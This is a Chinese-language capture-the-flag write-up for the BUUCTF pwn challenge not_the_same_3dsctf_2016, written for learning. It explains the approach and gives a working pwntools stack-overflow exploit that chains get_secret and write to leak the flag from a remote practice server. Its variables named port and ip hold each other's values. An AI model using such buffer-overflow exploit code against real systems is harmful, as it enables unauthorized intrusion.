buuctf刷題(2)【13題 - 】

not_the_same_3dsctf_2016

一開始看到這兩個函數,直接棧溢出,跳過來不就行了,,,沒注意看,get_secret,是指將flag讀入了f14g,並沒有打印出來呢,所以我們還需要自己打印一下

搜了一下,有write函數,那就調用它

#coding=utf-8
from pwn import *
connect = 1#連接本地
fileName=''#文件名
port='node3.buuoj.cn'#端口
ip='29206'#IP地址
main_addr = 0x080489E0
secret_addr = 0x080489A0
write_addr = 0x0806E270
fl4g = 0x080ECA2D

if connect:
    p=remote(port,ip)
else :
    p=process("./"+fileName+"")
#p.recvuntil("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ")
#跳到get_secret,先讓flag讀入,最後返回main
p.sendline("a"*0x2d+p32(secret_addr)+p32(main_addr))
#調用write函數讀出
p.sendline("a"*0x2d+p32(write_addr)+p32(main_addr)+p32(1)+p32(fl4g)+p32(0x100))
p.interactive()  

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章